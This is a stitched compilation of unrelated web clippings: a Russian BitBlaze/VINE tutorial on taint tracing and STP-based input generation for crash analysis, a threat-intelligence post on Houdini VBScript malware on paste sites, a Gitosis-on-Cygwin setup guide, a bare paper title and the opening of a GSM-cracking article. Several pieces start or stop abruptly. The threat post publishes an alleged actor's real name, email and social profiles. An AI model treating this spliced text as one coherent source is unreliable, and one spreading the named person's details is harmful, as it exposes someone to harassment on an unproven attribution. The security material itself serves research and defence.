69629, 69630, 69631. 1321 – это номер \(имя\).

_Для преобразования в IL нужно:_

sudo ./vine-1.0/trace\_utils/./appreplay -trace font.trace -ir-out
font.trace.il -assertion-on-var false -use-post-var false  
где:  
appreplay – ocaml скрипт который мы запускаем;  
-trace – путь к трасе;  
-ir-out – путь к файлу в который будет записываться IL код.  
-assertion-on-var false -use-post-var false – флаги, которые показывают формат IL кода, при этом значение false делает более удобочитаемый текст.  

_Пример IL кода:_

В начале идет объявление переменных:  
INPUT – это свободные ячейки памяти, те которые тестируются в сама начале
\(еще в temu\), входные данные в программу из внешнего источника.

var cond\_000017\_0x4010ce\_00\_162:reg1\_t;

var cond\_000013\_0x4010c3\_00\_161:reg1\_t;  
var cond\_000012\_0x4010c0\_00\_160:reg1\_t;  
var cond\_000007\_0x4010b6\_00\_159:reg1\_t;  
var INPUT\_10000\_0000\_62:reg8\_t;  
var INPUT\_10000\_0001\_63:reg8\_t;  
var INPUT\_10000\_0002\_64:reg8\_t;  
var INPUT\_10000\_0003\_65:reg8\_t;  
var mem\_arr\_57:reg8\_t\[4294967296\]; – память в виде массива  
var mem\_35:mem32l\_t;  
var R\_EBP\_0:reg32\_t;  
var R\_ESP\_1:reg32\_t;  
var R\_ESI\_2:reg32\_t;  
var R\_EDI\_3:reg32\_t;  
var R\_EIP\_4:reg32\_t;  
var R\_EAX\_5:reg32\_t;  
var R\_EBX\_6:reg32\_t;  
var R\_ECX\_7:reg32\_t;  
var R\_EDX\_8:reg32\_t;  
var EFLAGS\_9:reg32\_t;  
var R\_CF\_10:reg1\_t;  
var R\_PF\_11:reg1\_t;  
var R\_AF\_12:reg1\_t;  
var R\_ZF\_13:reg1\_t;  
var R\_SF\_14:reg1\_t;  
var R\_OF\_15:reg1\_t;  
var R\_CC\_OP\_16:reg32\_t;  
var R\_CC\_DEP1\_17:reg32\_t;  
var R\_CC\_DEP2\_18:reg32\_t;  
var R\_CC\_NDEP\_19:reg32\_t;  
var R\_DFLAG\_20:reg32\_t;  
var R\_IDFLAG\_21:reg32\_t;  
var R\_ACFLAG\_22:reg32\_t;  
var R\_EMWARN\_23:reg32\_t;  
var R\_LDT\_24:reg32\_t;  
var R\_GDT\_25:reg32\_t;  
var R\_CS\_26:reg16\_t;  
var R\_DS\_27:reg16\_t;  
var R\_ES\_28:reg16\_t;  
var R\_FS\_29:reg16\_t;  
var R\_GS\_30:reg16\_t;  
var R\_SS\_31:reg16\_t;  
var R\_FTOP\_32:reg32\_t;  
var R\_FPROUND\_33:reg32\_t;  
var R\_FC3210\_34:reg32\_t;

label pc\_0x40143c\_1: – это имя в котором есть адрес инструкции  
/\*Filter IRs:\*/  
Теперь идет фильтр инициализации:

\{  
/\*Initializers\*/

R\_EAX\_5:reg32\_t = 0×73657930:reg32\_t;  
\{  
var idx\_144:reg32\_t;  
var val\_143:reg8\_t;  
idx\_144:reg32\_t = 0x12fef0:reg32\_t;  
val\_143:reg8\_t = INPUT\_10000\_0000\_62:reg8\_t;  
mem\_arr\_57\[idx\_144:reg32\_t + 0:reg32\_t\]:reg8\_t =  
cast\(\(val\_143:reg8\_t & 0xff:reg8\_t\) >> 0:reg8\_t\)L:reg8\_t;

\}  
\{  
var idx\_146:reg32\_t;  
var val\_145:reg8\_t;  
idx\_146:reg32\_t = 0x12fef1:reg32\_t;  
val\_145:reg8\_t = INPUT\_10000\_0001\_63:reg8\_t;  
mem\_arr\_57\[idx\_146:reg32\_t + 0:reg32\_t\]:reg8\_t =  
cast\(\(val\_145:reg8\_t & 0xff:reg8\_t\) >> 0:reg8\_t\)L:reg8\_t;

\}  
\{  
var idx\_148:reg32\_t;  
var val\_147:reg8\_t;  
idx\_148:reg32\_t = 0x12fef2:reg32\_t;  
val\_147:reg8\_t = INPUT\_10000\_0002\_64:reg8\_t;  
mem\_arr\_57\[idx\_148:reg32\_t + 0:reg32\_t\]:reg8\_t =  
cast\(\(val\_147:reg8\_t & 0xff:reg8\_t\) >> 0:reg8\_t\)L:reg8\_t;

\}  
\{  
var idx\_150:reg32\_t;  
var val\_149:reg8\_t;  
idx\_150:reg32\_t = 0x12fef3:reg32\_t;  
val\_149:reg8\_t = INPUT\_10000\_0003\_65:reg8\_t;  
mem\_arr\_57\[idx\_150:reg32\_t + 0:reg32\_t\]:reg8\_t =  
cast\(\(val\_149:reg8\_t & 0xff:reg8\_t\) >> 0:reg8\_t\)L:reg8\_t;

\}  
R\_ESP\_1:reg32\_t = 0x12fd28:reg32\_t;  
R\_GDT\_25:reg32\_t = 0x8003f000:reg32\_t;  
R\_LDT\_24:reg32\_t = 0:reg32\_t;  
R\_DFLAG\_20:reg32\_t = 1:reg32\_t;

\}

И фильтр самих преобразований.

/\*ASM IR:\*/

\{  
var T\_32t0\_58:reg32\_t;  
var T\_32t1\_59:reg32\_t;  
var T\_32t2\_60:reg32\_t;  
var T\_32t3\_61:reg32\_t;  
T\_32t2\_60:reg32\_t = R\_ESP\_1:reg32\_t;  
T\_32t1\_59:reg32\_t = T\_32t2\_60:reg32\_t + 0x1c8:reg32\_t;  
T\_32t3\_61:reg32\_t =  
\(  
\(  
cast\(mem\_arr\_57\[T\_32t1\_59:reg32\_t + 0:reg32\_t\]:reg8\_t\)U:reg32\_t  
<< 0:reg32\_t  
|  
cast\(mem\_arr\_57\[T\_32t1\_59:reg32\_t + 1:reg32\_t\]:reg8\_t\)U:reg32\_t  
<< 8:reg32\_t  
\)  
|  
cast\(mem\_arr\_57\[T\_32t1\_59:reg32\_t + 2:reg32\_t\]:reg8\_t\)U:reg32\_t  
<< 0×10:reg32\_t  
\)  
|  
cast\(mem\_arr\_57\[T\_32t1\_59:reg32\_t + 3:reg32\_t\]:reg8\_t\)U:reg32\_t  
<< 0×18:reg32\_t  
;  
R\_EAX\_5:reg32\_t = T\_32t3\_61:reg32\_t;

\}

Как видно IL – представление кода через преобразование атомарных сущностей.
Как это работает: на VEX была натянута оболочка из ocaml в которой был
интерфейс для дизассемблирования. После чего специальными фильтрами были
выкинуты все не нужные хвосты и в результате получим только атомарный IL код
операции, полностью описывающий происходящее в трасе.

_Что такое STP и что он делает?_

STP – это решатель для бит-векторных выражений.  
Это отдельный проект sites.google.com/site/stpfastprover/ не зависимый от
bitblaze.  
Что бы получить STP код нужно:  
sudo ./vine-1.0/utils/wputil font.trace.il -stpout font.trace.stp.code  
где на вход подается IL код, а на выходе получим STP код.

_Пример STP кода:_  
В начале идет объявление переменных:

R\_EBX\_6\_16 : BITVECTOR\(32\);  
INPUT\_10000\_0003\_65\_7 : BITVECTOR\(8\);  
INPUT\_10000\_0002\_64\_6 : BITVECTOR\(8\);  
INPUT\_10000\_0001\_63\_5 : BITVECTOR\(8\);  
mem\_arr\_57\_8 : ARRAY BITVECTOR\(64\) OF BITVECTOR\(8\);  
INPUT\_10000\_0000\_62\_4 : BITVECTOR\(8\);  
% end free variables.  
Само выражение имеющее вид вопроса \(assert\)  
ASSERT\( 0bin1 =  
\(LET R\_EAX\_5\_232 =  
0hex73657930  
IN  
\(LET idx\_144\_233 =  
0hex0012fef0  
IN  
\(LET val\_143\_234 =  
INPUT\_10000\_0000\_62\_4  
IN  
\(LET mem\_arr\_57\_393 =  
\(mem\_arr\_57\_8 WITH \[\(0bin00000000000000000000000000000000 @ BVPLUS\(32,
idx\_144\_233,0hex00000000\)\)\] := \(val\_143\_234;0hexff\)\[7:0\]\)  
…….  
IN  
\(cond\_000017\_0x4010ce\_00\_162\_392;0bin1\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\)\);  
Тут вопрос:  
А это выражение не верное?  
QUERY\(FALSE\);  
И выдать контр пример:  
COUNTEREXAMPLE;

_Как спросить решение у STP:_

./stp net\_server.exe.49.0x4010ce.changed.il.49..stp

Пример ответа STP:  
ASSERT\( INPUT\_10000\_0001\_63\_5 = 0×00 \);  
ASSERT\( INPUT\_10000\_0002\_64\_6 = 0×00 \);  
ASSERT\( INPUT\_10000\_0000\_62\_4 = 0×61 \);  
ASSERT\( INPUT\_10000\_0003\_65\_7 = 0×00 \);  
Invalid.

Это полностью соответствует входным данным, если они однозначные, если они не
однозначные то будут выданы эквивалентные данные. Таким образом мы можем
генерировать входные данные используя IL код, или дизасм.

_Дополнительный функционал VINE:_

Поиск петель, построение разных видов графов и т.д.

$./trace\_reader –help  
\[sudo\] password for virvdova:  
Usage: trace\_reader \[options\] -trace <trace\_file>  
-first <int> Line number of first instruction  
-last <int> Line number of last instruction  
-count <> Display line number  
-o <string> Output file name  
-trace <string> Name of input trace file  
-taintedonly <> Process only tainted instructions  
-taintpair <int32> <int32> Process only tainted instructions operating on this origin \(int32\) + offset \(int\) pair  
-header <> Print trace header information before instruction sequence  
-fmap <string> Name of input function map. Used to print function names at call/ret instructions  
-flog <string> Name of output file to receive summary of call/ret in trace. Requires -fmap option  
-flogr <string> Same as -fmap but prints only calls from main module  
-modlist <string> Print list of modules seen in trace to given file  
-funlist <string> Print list of known functions seen in trace to given file  
-tid <int> Process only instructions with this thread identifier  
-v <> Verbose. Prints more info per instruction  
-funstacksize <int> Set function stack start size to this value  
-createindex <> Create an index file for the trace. Outputs trace.idx file  
-eip <> Print only EIP of instruction  
-emod <adddr>:<size>:<name> Add a module to the module list using given base address, module size and module name  
-help Display this list of options  
–help Display this list of options  
$ ./appreplay –help  
Usage: appreplay \[options\] <tracefile>  
-trace FILE read trace from FILE  
-modif-addr cjmp to modify  
-modif-id <int> Number of cjmp instuction in trace file  
-state FILE read process state from FILE  
-state-range 0xDEAD:0xBEEF initialize range 0xDEAD to 0xBEEF  
-conc-mem-idx rewrite non-tainted mem indexes to literal values  
-prop-consts Use evaluator to do constant propagation  
-flatten flatten IR  
-use-thunks use eflag thunks \(lazy eflag computation\).  
-use-post-var use a post-condition variable instead of asserts.  
-assertion-on-var create a unique boolean variable for each assertion.  
-deend Deendianize all memory accesses  
-deend\_multi When de-endianizing, use separate arrays by access size  
-verify-expected Add asserts to check whether propagated inputs have expected values.  
\(Only makes sense with -concrete\)  
-include-all Disasm and include all instructions, not just tainted.  
-remove-unknowns Removes some unsupported instructions  
-typecheck Type check the generated IR  
-concrete Assign concrete values to input \(when building from exec trace\)  
-dead perform dead code elimination  
-early-exit add early exits when post-condition cannot be satisfied  
-simplify apply simplifications to the WP  
-ir-out FILE output trace ir to FILE  
-wp-out FILE output WP to FILE in IR format  
-stp-out FILE output trace to FILE in stp format  
-eval run trace through the evaluator  
-malloc FILE path to malloc input  
-output-overflows DIR dir where to store logs with overflow information  
-help Display this list of options  
–help Display this list of options  
$

**State file:**  
Это файл который будет содержать слепок памяти. С помощью temu можно его
сгенерировать и с помощью vine проанализировать.

**При тестировании я нашел такие недоработки, ошибки \(bugs\):**

**_TEMU:_**

1\. Offset fails.

Проблема заключается в том, что начиная с первой тентированной инструкции:

7c90e430: lea 0×10\(%esp\),%edi A@0x0013fd30\[0x00000000\]\[4\]\(R\) T0
R@edi\[0x00150b0a\]\[4\]\(W\) T1 \{15 \(7654, 4942\) \(7654, 4942\) \(7654,
4942\) \(7654, 4942\) \}  
7c90e434: pop %eax M@0x0013fd20\[0x7c901166\]\[4\]\(R\) T1 \{15 \(7654, 4942\)
\(7654, 4942\) \(7654, 4942\) \(7654, 4942\) \} R@eax\[0x2e0010c8\]\[4\]\(W\)
T1 \{15 \(7654, 4942\) \(7654, 4942\) \(7654, 4942\) \(7654, 4942\) \}  
7c90e435: call \*%eax R@eax\[0x7c901166\]\[4\]\(R\) T1 \{15 \(7654, 4942\)
\(7654, 4942\) \(7654, 4942\) \(7654, 4942\) \}
M@0x0013fd20\[0x7c901166\]\[4\]\(W\) T1 \{15 \(7654, 494  
……..

Все зависят от одного offset: 7654 \(другие offset в трасу не вошли\):

$ grep “T1″ pp.trace.disasm| grep -v “7654″  
$

Если предположить, что тентирование терялось при сливании – то где это
сливание было – оно должно было попасть в трасу – так как мы пишем все
тентированные инструции.

Проблема была подтверждена при трассировке office: winword, powerpoint.

2\. При тестировании ioctl на операциях mov – тентирование остается, а по
теории его не должно быть. Из нетентированной mov в тентированную и результат
тентированный.  
3\. Потеря управления и потеря тентирования:  
При трассировке обработки font файла через syscall: NtGdiAddRemoteFontToDC

view sourceprint?

`01.``(qemu) trace_stop`

`02.``Stop tracing process 1688`

`03.``Number of instructions decoded: 3615654`

`04.``Number of operands decoded: 8742978`

`05.``Number of instructions written to trace: 957799`

`06.``Number of tainted instructions written to trace: 14165`

`07.``Processing` `time``: 39.26 U: 24.02 S: 15.24`

`08.``Generating file: /home/virvdova/trunk/svn/traces/3/font.trace.functions`

`09.``last_insn_id_taint_data_propagate = 2735658`

`10.``max_taint_insn_id_delta = 39456`

`11.``(qemu)`

было найдено 2 баги:

1\. Потеря тентирования – последняя тентированная инструкции это 77821:

bf93f3ba: rep movsb %ds:\(%esi\),%es:\(%edi\)
M@0x00911eec\[0x00000036\]\[1\]\(CR\) T1 \{1 \(1231, 69272\) \(\)\(\)\(\)\}
R@ecx\[0x00000000\]\[4\]\(RCW\) T0 M@0x00391ea4\[0x00000000\]\[1\]\(CW\) T0

а обработка шрифта в фунции sub\_12D08 в atmfd.dll на 124472 строке.

2\. При выполнении функции sub\_12D08 на инструкции:

.text:00012DD3 mov eax, \[ebx+ecx\*4\]

Происходит передача управление ядру и после этого syscall корректно завершает
свою работу и управление не возвращается назад.

_**VINE:**_

Ошибки в wputil:

sudo ./wputil font.trace.il -stpout font.trace.stp.code  
……  
GCL: f\_t: BB\_5: have GCL  
GCL: f\_t: BB\_5: still at None  
GCL: f\_t: BB\_4: have GCL  
GCL: f\_t: BB\_4: still at None  
GCL: f\_t: BB\_3: have GCL  
GCL: f\_t: BB\_3: still at None  
GCL: f\_t: BB\_2: have GCL  
GCL: f\_t: BB\_2: still at None  
GCL: f\_t: BB\_1: have GCL  
GCL: f\_t: BB\_1: still at None  
GCL: f\_t: BB\_Entry: have GCL  
GCL: f\_t: BB\_Entry: still at None  
GCL: f\_t: BB\_Entry: have GCL  
Ошибка сегментирования

**Вывод**

Bitblaze – проект с новыми взглядами и большими перспективами. С его помощью
можно анализировать креши в автоматическом режиме. Но из за проблем с
тентированием, про которые говорилось выше – нельзя говорить о уневерсальности
данного средства.

# Houdini on Paste Sites

**Created:**| _5/28/2017 11:09:26 AM_  
---|---  
**Updated:**| _5/28/2017 11:16:43 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

  

## The Recorded Future Blog

# Houdini on Paste Sites

Posted in

  * Cyber Threat Intelligence

by Daniel Hatheway on May 25, 2017

  

After identifying a spike in malicious Visual Basic scripts \(VBScript\)
posted on paste sites, Recorded Future created an automated process using our
API to automatically collect the command and control \(C2\) servers from each
malicious VBScript. While reviewing the results, we identified a threat actor
from Germany that goes by “Vicswors Baghdad.” This individual appears to be at
least partially responsible for the identified malicious VBScripts posted to
paste sites, and is actively editing an open source ransomware variant called
“MoWare H.F.D”.

### Timeline

In early March 2017, we began to notice an increasing number of malicious
VBScripts posted to paste sites. The majority of these VBScripts appeared to
be Houdini. Houdini is a VBScript worm that first appeared in 2013 and was
updated in 2016. The individual\(s\) reusing this Houdini VBScript are
continually updating with new command and control servers. After further
defining our search criteria, we isolated the Houdini scripts and quickly
identified three distinct spikes around August, October, and March of this
year.

<img src='img/Temp2_3977.png' width='634' height='345' alt='Hunting Houdini
Timeline' />

<img src='img/Temp2_3983.png' width='634' height='283' alt='Houdini Scripts on
Pastebin' />

### Technical Analysis

Recorded Future did a quick analysis to ensure the VBScript would in fact
communicate to the defined C2 server. After analyzing and executing one of the
VBScripts in a controlled environment, we were able to confirm that the
VBScript communicates to the C2 server defined within the script. It then
copies itself into a directory and establishes persistence by creating a
registry key in one of the startup locations.

<img src='img/Temp2_3980.png' width='634' height='395' alt='C2 Server
Communication' />

<img src='img/Temp2_3976.png' width='634' height='213' alt='C2 Server
Communication With VBScript' />

<img src='img/Temp2_3973.png' width='634' height='399' alt='Creation of
Registry Key' />

### Discovery Automation

Using the Recorded Future API, we created a python script which returns all C2
domains into a comma delimited file. The script operates by first querying
Recorded Future for a list of all documents \(in this case, a post on a paste
site\) that match the search criteria for the Houdini VBScripts. Those
document IDs and URLs are then each individually looked up again in Recorded
Future in order to collect all indicators found for each document. Finally,
after iterating over all returned entities for each document and looking for
only domains and URLs, we remove false positives and deduplicate the results
before outputting.

### Results

Overall, this process produced the following unique results from 213 posts to
paste sites \(April 26\):

  * 105 subdomains
  * 1 domain
  * 190 hashes

This indicates that some of the posts are exact duplicates \(hash matches\),
while others kept the domain constant and had a change elsewhere in the
VBScript, most likely in the port or install directory.

<img src='img/Temp2_3978.png' width='634' height='281' alt='Results From 213
Posts to Paste Sites' />

Customers are able to automate this process and put the subdomains directly
into their SIEM \(security incident and event management\) for alerting and
monitoring or use this process to develop their own custom threat feed based
on specific search criteria.

### Actor Review

Reviewing the output showed that the domains and subdomains are from a dynamic
DNS provider, as indicated by the domain and registration \(ddns.net, no-
ip.com, etc.\). We checked each subdomain and domain against common network
security solutions and found that most categorized these as “uncategorized.”
We also found active malware samples that communicated to at least one of the
paste sites, as well as the host defined in one of the VBScripts.

Sample: **e12b20b7c765b54adda6bc671c89d357c01e5bce6a1159c9f22ce7fded5b72a2**  
Sample: **B3a80abb7f7b190eea3f99a70c3a42e93fd5ef9f98731f1e4cdcc71cf02dc0e5**

<img src='img/Temp2_3979.png' width='634' height='283' alt='Domains and
Subdomains Are From a Dynamic DNS Provider' />

Because subdomains registered at a dynamic DNS provider yield less than
helpful registration data, we were unable to use it. However, one domain,
microsofit\[.\]net, did have useful insight we could use. We were able to
determine that the individual registering the domain used the name “Mohammed
Raad,” the email “vicsworsbaghdad@gmail.com,” and the country of “Germany.”

<img src='img/Temp2_3974.png' width='736' height='419' />

Image as been edited, thanks to @malwrhunterteam

Since all of the Houdini VBScripts on paste sites are published on guest
accounts, we are not able to attribute them back to one person, but we did
notice a pattern.

Some of the subdomains that were created appeared to be a play on the name
“Mohammed Raad,” which was registered on _microsofit\[.\]net_.

<img src='img/Temp2_3981.png' width='350' height='263' alt='Subdomains Related
to Mohammed Raad' />

A Google search on “Mohammed Raad” revealed a Facebook profile of an
individual who claims to be part of “Anonymous,” from Germany, and uses
“Vicswors Baghdad” as an alias. This profile is identical to the registration
information from _microsofit\[.\]net_. The Facebook profile displays a recent
conversation pertaining to an open source ransomware called “MoWare H.F.D”. It
appears that they are studying, testing, and possibly configuring a
ransomware.

<img src='img/Temp2_3972.png' width='634' height='530' alt='Facebook Profile'
/>

<img src='img/Temp2_3971.png' width='634' height='375' alt='MoWare H.F.D
Conversation' />

### MoWare H.F.D Open Source Ransomware

Upon further inspection of the screenshot posted on the “vicsworsbaghdad”
Facebook profile, we noticed that the ransomware being configuring is an open
source version available by commenting on the creator’s YouTube video. An
account “Vicswors Baghdad” commented asking where he can find the file to
download, to which the developer commented that they sent a private message.
The account “Vicswors Baghdad” uses the same email “vicsworsbaghdad@gmail.com”
as the registration of _microsofit\[.\]net_.

<img src='img/Temp2_3982.png' width='350' height='288' alt='“YouTube
Conversation' />

<img src='img/Temp2_3975.png' width='350' height='128' alt='YouTube
Conversation' />

A profile for “Vicswors Baghdad” was also found on 0day\[.\]today, though he
does not appear active.

<img src='img/Temp2_3984.png' width='634' height='332' alt='Vicswors Baghdad”
Profile Found on 0day[.]today' />

### Actor Profile

Category| Data| Source  
---|---|---  
Name\(s\)| Mohammed Raad; Vicswors Baghdad| Facebook  
Email| vicsworsbaghdad@gmail.com| WhoIs  
Location| Germany| WhoIs; Facebook  
Associations| Anonymous| Facebook  
Domains| microsofit\[.\]net| WhoIs  
Profiles| facebook.com/vicsworsbaghdad  
plus.google.com/100998754050550427217  
0day.today/author/28550  
pastebin.com/KhL9xPKA|  
 _View the full list of IOCs related to this analysis._

  

# Git Server: Gitosis and Cygwin on Windows - Mark Embling

**Created:**| _12/13/2009 9:20:40 PM_  
---|---  
**Updated:**| _12/13/2009 9:21:07 PM_  
**Author:**| __  
**Tags:**| _setup programming_  
  

### Git Server: Gitosis and Cygwin on Windows

Posted on 26 August 2009 22:08.

Git is arguably the latest and greatest SCM tool available - my latest tool of
choice in place of the old favourite Subversion, and as such have decided to
move to using it for my personal projects. In addition, we have decided to use
it at work, where we run operate using a mainly-Windows environent. This lead
me on to setting up a Git server on Windows. This was achieved using Cygwin
and plain old SSH/Git. This serves us fine for our needs, but a comment on
twitter got me thinking - can Gitosis be used under Cygwin for a slicker
experience. The answer is yes, and this post will explain how.

### Assumptions

This post assumes the reader is familiar with git and is comfortable with the
command line \(in particular bash\). It also makes the assumption that the
user is familiar with OpenSSH and its public/private key system. This
procedure was tested using a Windows Server 2003 VM, but I foresee little
difficulty in following the same procedure in other Windows versions. Do
comment if this is not the case. At the time of writing, Cygwin 1.5.25-15 was
the latest version.

### Gitosis?

Gitosis is a tool written in python designed to make hosting git repositories
easier and more secure. Instead of requiring user acounts on the server
machine with shell access, it operates under a single user account and uses
SSH keys to differentiate users, and grants/denies access to a set of
repositories based upon a configuration file.

It was primarily designed for use on Unix-like operating systems \(and works
very well on my Ubuntu-based server\) but as yet I have seen very little
mention of it used on Windows.

Garry Dolley has a very good tutorial for setting up gitosis on a Ubuntu
machine on scie.nti.st and it should apply with little modification to most
other linux/unix-like operating systems as well. It was this tutorial which
served as reference during my gitosis exploits.

### Installing Cygwin

Cygwin can be obtained from their website and consists of a setup application
which requires an internet connection in order to download the packages for
installation. Installing Cygwin is a fairly straightforward affair, with a
fairly standard graphical setup wizard. Choose the 'Install from Internet'
method and install with all the defaults, making sure Cygwin is installed for
all users as the SSH service will not run as your user account. Pick any
download mirror which works \(sometimes not all do\), and you will be given a
large list of packages.

In order to install all the tools needed, select the following packages by
clicking on the word 'Skip' to change it to the latest version number. Further
clicks will cycle through previous versions and back to 'Skip' again. Its
probably best to stick with all the latest versions.

  * git \(in the 'Devel' category\)
  * openssh \(in the 'Net' category\)
  * python \(in the 'Python' category\)

<img src='img/Temp2_3488.jpg' />

This should be all that is required on top of the defaults. Of course, there
are many more and feel free to choose those which apply to you. You can come
back later and install/remove additional packages if the need arises.

Once the installation completes, you should have an entry in the Start menu
and/or on the desktop for the Cygwin Bash Shell.

<img src='img/Temp2_3485.jpg' />

### Setting up SSH

Now that Cygwin is installed, we can use it to set up SSH as a service. This
will be what we use to pull from and push to our git repositories later.

Fire up the newly installed git bash shell. If you are used to linux or unix,
this will be a familiar sight - the bash shell.

<img src='img/Temp2_3491.jpg' />

Before setting the SSH service up, we must make a tweak to some privileges.
Apparently this is a problem with newer Cygwin releases \(from here\). Run the
following commands:

`chmod +r /etc/passwd  
chmod u+w /etc/passwd  
chmod +r /etc/group  
chmod 755 /var`

In order to get the SSH service set up, type `ssh-host-config`, and answer
`yes` to the question "Should privilege separation be used?" In addition,
answer `yes` when asked whether a new local account called 'sshd' should be
created, and to whether sshd should be installed as a service. When prompted
for the value of the 'CYGWIN' environment variable, accept the default by
hitting enter, and answer `no` to whether you wish to use a different username
to the default for the account for running the service, and then answer `yes`
to whether the user account 'cyg\_server' should be created. You will be asked
for a password for the new user - enter your choice of password here. This is
just to protect the user account from unauthorised access, since it will have
local administrator privileges. If all goes well, your user account will be
created and the service will be set up.

<img src='img/Temp2_3487.jpg' />

As stated in the success message, we can now crack on by starting the SSH
service Cygwin has installed with us. Run `net start sshd` to get it going.

### Installing Python Setuptools

Before installing gitosis, we will need to install python setuptools. This is
what gitosis uses to install itself. The latest version of setuptools can be
found at the Python Package Index \- scroll down near the bottom of the page
for the files. Since we are installing in Cygwin, we want the .egg version
matching the python version installed by Cygwin. For me, it was python 2.5 and
the .egg file I needed was called`setuptools-0.6c9-py2.5.egg`. To check your
python version, run `python -V` in the bash shell. To download the file, right
click and save the target since many browsers try to interpret .egg files as
text. I placed the file in root of the C drive for ease of access from the
Cygwin Bash shell.

<img src='img/Temp2_3490.jpg' />

Once the download is finished, we can run the .egg file as if it were a shell
script or executable file. Execute the following command \(changing the path
if you saved the file elsewhere or have a different version\):

`/cygdrive/c/setuptools-0.6c9-py2.5.egg`

This will whizz through quickly and install setuptools for you. Now we're
ready for installing gitosis.

### Installing Gitosis

Gitosis is installed by cloning its git repository. In your Cygwin Bash
window, create a convenient directory and change into it. You can then clone
the gitosis repository. Since gitosis is small and lightweight, this will only
take moments.

`mkdir sources && cd sources`  
`git clone git://eagain.net/gitosis.git`

Once the clone is complete, install gitosis with the following commands:

`cd gitosis`  
`python setup.py install`

A bunch of output will fly past and if all went well, gitosis is now
installed.

<img src='img/Temp2_3489.jpg' />

In addition, I encountered permissions problems during my installation, where
the git user could not read setuptools and/or gitosis. To save yourself a lot
of pain and headaches later, run the following command to allow all users to
read all the python code we have just installed: `chmod +r /usr/lib/python2.5/
-R`

### Set It All Up...

The first thing to do now gitosis is installed is to create a user for it.
Traditionally this is called 'git', although you can call it whatever you
want. Since I am on Windows Server 2003, I cracked open`lusrmgr.msc` and
created my user. Give it any password you like. I also set it to never require
or allow a password change.

<img src='img/Temp2_3486.jpg' />

We will also need to enable the git user for use from within cygwin. Run this
command in your cygwin bash window: `mkpasswd -l -u git >> /etc/passwd`

Before continuing, you will need a public SSH key. If you do not have one on
your local machine \(not the server\), generate one. On OSX, Linux, Cygwin and
other unix-like OSs, this can be achieved using the`ssh-keygen` command. If
you need more help, see the github guide on providing your key.

Once you have located or generated your public key \(make sure its the public
one not the private\!\), copy it over to the server and place it in cygwin's
/tmp folder. This is the C:\cygwin\tmp folder. Place the key in there and go
back to your cygwin bash window. Allow all users to read the key \(in my case,
it is called `id_rsa.pub`\) using the following command: `chmod 755
/tmp/id_rsa.pub`

Now it is time to initialise gitosis in the home directory of the git user we
created earlier. Now we need to log in as the git user and initialise gitosis
using the key we have copied over. The easiest way to log in as the git user
is to use the `runas` command within Windows to launch a new cygwin window
running as the git user.

`runas /user:git C:/cygwin/cygwin.bat`

A new cygwin bash window will open logged in as the new git user. Within this
window, we initialise gitosis using the following command, remembering to
substitute your key's filename if it is different:

`gitosis-init < /tmp/id_rsa.pub`

You should get the following feedback to say it was successful:

`Initialized empty Git repository in /home/git/repositories/gitosis-
admin.git/`  
`Reinitialized existing Git repository in /home/git/repositories/gitosis-
admin.git/`

Back in your Administrator user bash window, ensure everyone has permissions
on the post-update hook gitosis provides. Apparently sometimes this does not
get set correctly \(and its always best to avoid headaches like this later\).

`chmod 755 /home/git/repositories/gitosis-admin.git/hooks/post-update`

### Using Gitosis

Now that we have gitosis installed and ready to go, we do not need to work on
the server anymore. Go back to your own local machine \(where your SSH key
came from earlier\) and clone the gitosis administration repository. This is a
particularly cool aspect of gitosis - you manage your gitosis configuration
using its own git repository. How recursive\!

Before we clone the repository, try a plain SSH connection to the server. This
is because we need to accept the server's key first and this only needs to be
done once: `ssh git@your-server`. Accept the key and disregard the error you
will receive. That's all you needed. Now the admin repository can be cloned.

`git clone git@your-server:gitosis-admin.git`

Inside the cloned repository there is a folder named `keydir` and a config
file named `gitosis.conf`. Adding a new user is as simple as adding their key
to the keydir folder. You will also notice that your own key which we
initialised gitosis with earlier has automatically been added. Also, the
filename will have changed to match the key comment \(often this is in the
form of `user@hostname`\). To add a new repository, crack open the config file
in your favourite text editor. You will see the following:

`[group gitosis-admin]  
writable = gitosis-admin  
members = me@myhost`

I added a new group and left the gitosis-admin one intact. A group is a nice
easy way of dividing up which users can read/write to what repositories.

`[group me-and-my-friends]  
members = me@myhost  
writable = cool-new-project`

More than one user and/or repository can be added to any group section, and
there may be multiple group sections. This is particularly useful if you have
a team and wish to be broken down into smaller subteams. A quick example:

`[group team1]  
members = john bob sarah  
writable = project1 project2  
  
[group team2]  
members = bob tina tom  
writable = project3 project 4`

Once the keys and config file are added or updated, commit and push the
repository back to the server. Gitosis will update its configuration
automatically.

The new repositories can be created locally using `git init`. You can then go
about adding all your new files in the usual way and push the repository to
the server after adding a new remote \(normally called 'origin'\):

`git remote add origin git@myserver:cool-new-project.git  
git push origin master:refs/heads/master`

This will create the repository on the server at the given URL and make it
available to all those for whom you granted access. Be sure to use the same
repository name in the gitosis config file as you do on the URL \(with '.git'
appended\).

There is a lot more which can be done using gitosis, such as allowing
repositories to be exposed via the git:// protocol and much more. A lot of
this stuff I haven't tried yet since its functionality I haven't needed. See
the gitosis readme and example.conf files for more information.

If you notice any errors or omissions in this post, please do comment or
message me on twitter and I will try to find the answer or update the post as
necessary.

# Semantic-Based Code Obfuscation by Abstract Interpretation

**Created:**| _9/3/2009 9:08:51 AM_  
---|---  
**Updated:**| _9/3/2009 9:09:30 AM_  
**Author:**| __  
**Tags:**| _Exploit papers reversing_  
  
<img src='img/Temp2_7386' />

# Cracking GSM with RTL-SDR for Thirty Dollars

**Created:**| _10/22/2013 11:39:39 AM_  
---|---  
**Updated:**| _10/22/2013 11:39:39 AM_  
**Author:**| __  
**Tags:**| _crypto signal gsm sdr_  
  

# **C** racking GSM with RTL-SDR for Thirty Dollars****

<img src='img/Temp2_1637.png' alt='GSM' />

Theoretically, GSM has been broken since 2003, but the limitations of hardware
at the time meant cell phone calls and texts were secure from the prying ears
of digital eavesdroppers and all but the most secret government agencies**.**
